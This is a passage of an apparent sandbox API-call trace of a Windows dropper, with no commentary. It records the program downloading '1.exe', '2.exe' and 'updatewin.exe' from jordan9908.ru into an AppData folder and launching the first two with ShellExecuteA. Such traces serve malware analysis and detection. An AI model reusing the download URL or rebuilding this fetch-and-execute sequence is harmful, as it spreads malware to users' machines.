HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238") returned 1 [0042.852] CreateDirectoryA (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238"), lpSecurityAttributes=0x0) returned 1 [0042.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2a92f8, cbMultiByte=-1, lpWideCharStr=0x2a9710, cchWideChar=2048 | out: lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238") returned 81 [0042.890] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0043.220] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2b6818, cbMultiByte=-1, lpWideCharStr=0x2b7d68, cchWideChar=1054 | out: lpWideCharStr="http://jordan9908.ru/1.exe") returned 27 [0043.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://jordan9908.ru/1.exe", cchWideChar=-1, lpMultiByteStr=0x2b8df8, cbMultiByte=2078, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://jordan9908.ru/1.exe", lpUsedDefaultChar=0x0) returned 27 [0043.224] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://jordan9908.ru/1.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc0010 [0058.297] HttpQueryInfoW (in: hRequest=0xcc0010, dwInfoLevel=0x20000013, lpBuffer=0x860d6d0, lpdwBufferLength=0x860d710, lpdwIndex=0x0 | out: lpBuffer=0x860d6d0*, lpdwBufferLength=0x860d710*=0x4, lpdwIndex=0x0) returned 1 [0058.297] lstrcpyA (in: lpString1=0x2aee20, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238" [0058.297] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238", pMore="1.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe") returned 1 [0058.297] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x404 [0058.297] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0058.297] InternetReadFile (in: hFile=0xcc0010, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0058.299] WriteFile (in: hFile=0x404, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0058.300] InternetReadFile (in: hFile=0xcc0010, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0058.300] WriteFile (in: hFile=0x404, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0058.301] InternetReadFile (in: hFile=0xcc0010, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0058.301] WriteFile (in: hFile=0x404, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0058.301] InternetReadFile (in: hFile=0xcc0010, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0058.302] WriteFile (in: hFile=0x404, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0058.302] InternetReadFile (in: hFile=0xcc0010, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0058.302] WriteFile (in: hFile=0x404, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0058.302] InternetReadFile (in: hFile=0xcc0010, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0058.303] WriteFile (in: hFile=0x404, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0058.303] InternetReadFile (in: hFile=0xcc0010, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0058.303] WriteFile (in: hFile=0x404, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0058.304] InternetReadFile (in: hFile=0xcc0010, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0058.427] WriteFile (in: hFile=0x404, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0058.427] InternetReadFile (in: hFile=0xcc0010, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0058.427] WriteFile (in: hFile=0x404, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0058.428] InternetReadFile (in: hFile=0xcc0010, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0058.428] WriteFile (in: hFile=0x404, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0058.428] InternetReadFile (in: hFile=0xcc0010, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0058.428] WriteFile (in: hFile=0x404, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0058.428] InternetReadFile (in: hFile=0xcc0010, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0058.429] WriteFile (in: hFile=0x404, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0058.429] InternetReadFile (in: hFile=0xcc0010, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0058.474] WriteFile (in: hFile=0x404, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0058.475] InternetReadFile (in: hFile=0xcc0010, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0058.475] WriteFile (in: hFile=0x404, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0058.475] InternetReadFile (in: hFile=0xcc0010, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0058.478] WriteFile (in: hFile=0x404, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0058.478] InternetReadFile (in: hFile=0xcc0010, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0058.482] WriteFile (in: hFile=0x404, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0058.482] InternetReadFile (in: hFile=0xcc0010, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0058.484] WriteFile (in: hFile=0x404, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0058.484] InternetReadFile (in: hFile=0xcc0010, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0058.487] WriteFile (in: hFile=0x404, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0058.488] InternetReadFile (in: hFile=0xcc0010, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x200) returned 1 [0058.488] WriteFile (in: hFile=0x404, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x200, lpOverlapped=0x0) returned 1 [0058.488] CloseHandle (hObject=0x404) returned 1 [0058.490] InternetCloseHandle (hInternet=0xcc0010) returned 1 [0058.493] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0058.494] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0059.065] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0059.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2e5230, cbMultiByte=-1, lpWideCharStr=0x8947790, cchWideChar=1054 | out: lpWideCharStr="http://jordan9908.ru/2.exe") returned 27 [0059.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://jordan9908.ru/2.exe", cchWideChar=-1, lpMultiByteStr=0x89488a0, cbMultiByte=2078, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://jordan9908.ru/2.exe", lpUsedDefaultChar=0x0) returned 27 [0059.065] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://jordan9908.ru/2.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0059.116] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x860d6d0, lpdwBufferLength=0x860d710, lpdwIndex=0x0 | out: lpBuffer=0x860d6d0*, lpdwBufferLength=0x860d710*=0x4, lpdwIndex=0x0) returned 1 [0059.116] lstrcpyA (in: lpString1=0x2aee20, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238" [0059.116] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238", pMore="2.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\2.exe") returned 1 [0059.116] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b4 [0059.116] SetFilePointer (in: hFile=0x4b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.116] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.378] WriteFile (in: hFile=0x4b4, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.379] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.379] WriteFile (in: hFile=0x4b4, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.379] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.384] WriteFile (in: hFile=0x4b4, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.385] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.385] WriteFile (in: hFile=0x4b4, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.386] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.388] WriteFile (in: hFile=0x4b4, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.388] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.389] WriteFile (in: hFile=0x4b4, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.389] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.424] WriteFile (in: hFile=0x4b4, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.424] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.428] WriteFile (in: hFile=0x4b4, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.428] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.433] WriteFile (in: hFile=0x4b4, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.434] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.438] WriteFile (in: hFile=0x4b4, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.439] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.441] WriteFile (in: hFile=0x4b4, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.441] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.448] WriteFile (in: hFile=0x4b4, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.448] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.471] WriteFile (in: hFile=0x4b4, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.472] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.472] WriteFile (in: hFile=0x4b4, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.472] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.561] WriteFile (in: hFile=0x4b4, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.562] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.562] WriteFile (in: hFile=0x4b4, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.562] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.563] WriteFile (in: hFile=0x4b4, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.563] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.563] WriteFile (in: hFile=0x4b4, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.563] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x800) returned 1 [0059.563] WriteFile (in: hFile=0x4b4, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x800, lpOverlapped=0x0) returned 1 [0059.564] CloseHandle (hObject=0x4b4) returned 1 [0059.566] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0059.569] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0059.569] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\2.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0059.630] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0059.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x89717d0, cbMultiByte=-1, lpWideCharStr=0x8948018, cchWideChar=1062 | out: lpWideCharStr="http://jordan9908.ru/updatewin.exe") returned 35 [0059.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://jordan9908.ru/updatewin.exe", cchWideChar=-1, lpMultiByteStr=0x2b85b0, cbMultiByte=2086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://jordan9908.ru/updatewin.exe", lpUsedDefaultChar=0x0) returned 35 [0059.631] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://jordan9908.ru/updatewin.exe", 